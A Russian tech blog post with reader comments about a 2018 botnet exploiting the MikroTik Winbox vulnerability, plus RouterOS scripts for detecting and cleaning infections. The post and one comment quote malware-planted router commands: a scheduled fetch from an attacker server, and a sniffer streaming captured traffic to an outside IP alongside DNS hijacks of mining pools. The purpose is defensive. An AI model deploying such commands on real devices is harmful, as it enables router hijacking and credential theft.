Новая уязвимость Mikrotik? Нет, но стоит проверить свои устройства



    Второго августа получил рассылку “MikroTik: URGENT security advisory” о том, что некий ботнет использует уязвимость Winbox Service для взлома и заражения устройств.

    Из текста рассылки стало ясно, что уязвимость закрыта еще 23 апреля 2018 года в версии v6.42.1. Начал проверять подшефные устройства и нашел несколько роутеров с 6.40.1, один из которых был заражен.

    Что делает атакующий скрипт?

    • Получает список пользователей через уязвимость (т.е. смена admin на что-то другое не спасает).
    • Пытается зайти под всеми полученными логинами и отсеивает заблокированные.
    • Найдя активный логин, получает его пароль, заходит в систему.

    Затем:

    • Отключает все drop правила на файрволле.
    • Включает socks (IP – Socks) на нестандартном порте, в моем случае 4145.
    • Добавляет скрипт /tool fetch address=95.154.216.166 port=2008 src-path=/mikrotik.php mode=http keep-result=no в System – Scripts
    • Добавляет запуск скрипта в System – Scheduler.
    • Удаляет существующие скрипты (по сообщениям на форуме Mikrotik).

    Атака шла с адреса 95.154.216.151, который принадлежит iomart Hosting Limited, написал им сообщение через сайт, но никакой реакции пока нет, адрес активен.

    Адрес 95.154.216.166 так же активен, но файла mikrotik.php на нем нет.

    Вот тут можно увидеть сообщения от пострадавших:
    www.abuseipdb.com/check/95.154.216.151
    www.abuseipdb.com/check/95.154.216.166

    Если ваш Mikrotik еще не обновлен и порт Winbox открыт для всех, обязательно проверьте устройство.

    1. Проверяем, что активны drop правила в IP – Firewall.
    2. Проверяем socks, должен быть отключен и порт должен быть по умолчанию – 1080.
    3. Проверяем наличие левых скриптов в System – Scripts и System – Scheduler.
    4. Проверяем наличие файла miktorik.php
    5. Делаем /export в терминале и проверяем конфигурацию глазами.

    Пользователь gotsprings на форуме Mikrotik предложил такой вариант проверки:

    :if ([/ip socks get port] = 1080) do={:log info "Socks port is still Default."} else={:log info "Socks Port changed Possible infection!"}
    :if ([/ip socks get enabled] = false) do={:log info "Socks is not on."} else={:log info "Socks is enabled... that could be bad!"}
    :if ([:len [/file find name="mikrotik.php"]] > 0) do={:log info "!!!mikrotik.php!!! File Detected!"} else={:log info "mikrotik.php not found."}
    :if ([:len [/file find name="Mikrotik.php"]] > 0) do={:log info "!!!Mikrotik.php!!! File Detected!"} else={:log info "Mikrotik.php not found."}
    :if ([:len [/user find name="service"]] > 0) do={:log info "!!!YOU WERE BREACHED!!!"} else={:log info "No sign of the service user."}

    Open you log and look at the results. If you have a result with "!" you might have a problem.

    Очевидно, что очень плохо держать открытый для всех Winbox Service, но в некоторых случаях это случается, не забывайте обновлять свои устройства!

    Ссылки по теме:

    forum.mikrotik.com/viewtopic.php?f=21&t=137572
    thehackernews.com/2018/08/mikrotik-router-hacking.html
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама

    Комментарии 36

      0
      А в каких случаях необходимо держать открытый для всех Winbox Service? Логика подсказывает, что если только это не ваш личный роутер с которым вы вольны делать все, что угодно, инструменты управления должны быть максимально защищены.
        0
        Попробуйте объяснить это некоторым оутсортерам, начальство жалобы игнорирует. Сервис открыт, потому что им «так удобно». Взломанный роутер как раз обслуживается одной из таких компаний. Заменил слово «необходимо» :)
          0
          «PortKnocking? Не, не слышал!» ))
            +4
            Это на самом деле повод отказаться от услуг этой организации т.к. после этого возникают вопросы к их компетенции. Пусть свои удобства применяют в другом месте.
            Есть различные способы получать удалённый доступ к инструментам управления не выставляя при этом их в открытый доступ. И это не так уж не удобно.
              0
              Я бы рад, но решаю не я, фирма аффилирована с руководством.
              0
              Вы не могли бы уточнить, я правильно понимаю, что под «сервис открыт», Вы подразумеваете, что он открыт наружу? Т.е. если вход для winbox у меня открыт только с определённого IP/диапазона IP-адресов изнутри локальной сети, то мне беспокоиться не стоит?
                +1
                Я бы обновил роутеры в любом случае, может завтра в вашей локальной сети заведется троян с функционалом использования этой уязвимости. А так да, от атак извне вы защищены.
                  0
                  Да, обновления — это само собой. Просто был интересен вектор. Спасибо за пояснение!
                    0
                    А вы с 6.40.1 на какую версию обновились? А то я сегодня перепрошил на последнюю (6.42.6) и схватил кучу проблем с доступностью извне и двумя провайдерами, кажется ещё и L2TP сервер поломали
                      0
                      У меня l2tp нормально работает. И сервер и клиенты. Версия последняя.
                        0
                        А с андроида пытались подключиться к Микротику? Пока нет возможности посмотреть, что на виндоус клиентах, а вот андроид стопорится после ISAKMP-SA established
                          0
                          L2TP + IPsec PSK. Все норм. Только сегодня подключал
                            0
                            Спасибо за инфу, буду разбираться у себя дальше
                              0
                              Если будет нужно — кину кусок конфига или логи.
                                0
                                Благодарю, но после пары раз полного сброса конфигурации и восстановления её из бекапа всё заработало
              0
              Начал проверять подшефные устройства и нашел несколько роутеров с 6.40.1, один из которых был заражен.
              А почему только один оказался заражен? Остальные были подругому подключены\настроены или что там было разного в них, что только один атакован реальной угрозой?
                +1
                Думаю, во время сканирования ботнетом интернета роутеры просто были отключены (они стоят в торговых точках, где на ночь отключают электричество), так что просто повезло.
                0
                Есть же стандартный скрипт блокировки на перебор паролей RDP с блокировкой порта 3389 после 5 попыток подряд.
                Что мешает переделать на порт 8291, время с 23 до 8 утра и блокировкой на месяц?
                kniko.net/block-brute-force-on-microsoft-rdp-using-mikrotik-router
                  +2
                  А перебора паролей нету, там сразу подключаются с нужным пользователем, и вливают команды. Обычно первый же пользователь из списка рабочий. Поможет только закрытие порта, whitelist или port-knock.
                  0
                  У меня на работе по белому ip постоянно пытаются атаковать системообразующий роутер, ну пусть пытаются… Дома с серым ip таких проблем нет.
                    0

                    Версию-то оси огласите :)

                      0
                      6.42.3
                        0
                        Была бы просто 6.42 — оценили бы скорость работы сканеров :)
                        В теме на Руборде сегодня спрашивали, почему при чистой установке CHR на ESXi у юзера admin ограничены права и где взять пароль от юзера router с полным доступом. Оказалось, роутер после запуска успел пять минут повисеть в Интернете без пароля.
                        Оно, конечно, не совсем в тему (хотя обсуждаемая уязвимость = по сути отсутствие пароля), но в целом тоже показательно.
                    0
                    Сейчас в публичном доступе десятки тысяч прокси socks4 на порту 4145
                    • НЛО прилетело и опубликовало эту надпись здесь
                        +1
                        Команды с форума недостаточно проверяют, как я выяснил. Из того, что я нашёл, проверить, заражён ли роутер (и сразу же пофиксить) можно этими командами:
                        # Firewall auto-fix - dangerous if you had disabled drop rules before infection (can't imagine why, though)
                        :if ([:len [/ip firewall filter find where action=drop disabled]] > 0) do={:put "Firewall drop rules were disabled"; /ip firewall filter enable [find action=drop]}
                        :if ([:len [/ip firewall filter find chain=input action=accept dst-port="8291"]] > 0) do={:put "Winbox had default firewall accept rule";/ip firewall filter remove [find chain=input action=accept dst-port="8291"]}
                        # Use this if you need to check firewall rules manually
                        :if ([:len [/ip firewall filter find where action=drop disabled]] > 0) do={:put "Disabled firewall drop rules:"; /ip firewall filter print where  action=drop disabled}
                        # Winbox
                        :if ([/ip service get winbox disabled] != true) do={:put "Winbox was enabled"; /ip service disable winbox}
                        # Socks
                        :if ([/ip socks get port] != 1080) do={:put "Socks Port was not 1080"; /ip socks set port=1080}
                        :if ([/ip socks get enabled] != false) do={:put "Socks was enabled"; /ip socks set enabled=no}
                        :if ([:len [/ip socks access find src-address~"95.154.216.128"]] > 0) do={:put "ip socks access had rule for 95.154.216.128"; /ip socks access remove [find src-address~"95.154.216.128"]}
                        # Script and scheduler
                        :if ([:len [/system script find source~"ikrotik.php"]] > 0) do={:put "Script containing \"ikrotik.php\" found"; :foreach s in=[/system script find source~"ikrotik.php"] do={/system scheduler remove [find on-event~[/system script get $s name]]}; /system script remove [find source~"ikrotik.php"]}
                        # File mikrotik.php
                        :if ([:len [/file find name="mikrotik.php"]] + [:len [/file find name="Mikrotik.php"]] > 0) do={ :put "File [Mm]ikrotik.php was found"; /file remove [find name="mikrotik.php"]; /file remove [find name="Mikrotik.php"];}
                        # User "service"
                        :if ([:len [/user find name="service"]] > 0) do={:put "User \"service\" existed"; /user remove [find name="service"]}

                        Даже скрипт написал, и закинул в pastebin.com/GAtA2mZa
                          0
                          хочу обновить свой микротик а он выдает это
                          ERROR: not enough disk space, 7.1MiB is required and only 7.0MiB is free
                          места немного не хватает
                          Free HDD Space 7.0 MiB
                          Total HDD Size 16.0 MiB

                          как его освободить.
                          делать сброс как то не хочется
                            0
                            Есть же Files вкладка, а так бекап необходимых данных и восстановление.
                              0
                              На форуме Микротика тоже жалуются на версию с 16МБ памяти. Из советов — удалить неиспользуемые пакеты, перезагрузиться и попробовать прошить еще раз, если не поможет, использовать wiki.mikrotik.com/wiki/Manual:Netinstall
                                0
                                0
                                там всего 2 файла
                                  0
                                  Есть вариант попробовать через packages обновить
                                  0
                                  Mikrotik набирает популярность. Все больше взломщиков начинают им интересоваться.
                                    0
                                    Эта гадость, помимо вышеперечисленного, стала в последнее время добавлять еще много (50-80) записей в DNS на Микротике и включать снифер.

                                    #
                                    /ip dns static
                                    add address=185.206.144.149 name=asia1.ethermine.org
                                    add address=185.206.144.149 name=asia1.ethpool.org
                                    add address=185.206.144.149 name=asia1.fullhashed.com
                                    add address=....
                                    #
                                    /tool sniffer
                                    set file-limit=100KiB filter-interface=all filter-ip-protocol=tcp,udp \
                                        filter-port=ftp-data,ftp,pop3,143,1500,10000 filter-stream=yes \
                                        streaming-enabled=yes streaming-server=37.1.207.114
                                    #
                                    


                                    Для уничтожения врага (а в данном случае для недопущения заражения и для выполнения полноценного сканирования устройств в сети) нужно его изучать. У меня специально стоит один подопытный кролик, на котором они упражняются, а мне приходят логи изменений, какие новые гадости добавляют эти мерзавцы…
                                      0
                                      Очистка DNS записей:
                                      /ip dns static remove [find where address=185.206.144.149]
                                      0
                                      Мы у всех наших клиентов на микротиках и не только поднимаем VPN до нашего сервера и ходим управлять исключительно через VPN. Не могу себе представить в каких условиях можно выставить голой ж0пой на мороз на весь интернет управлялку роутера.

                                      Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                      Самое читаемое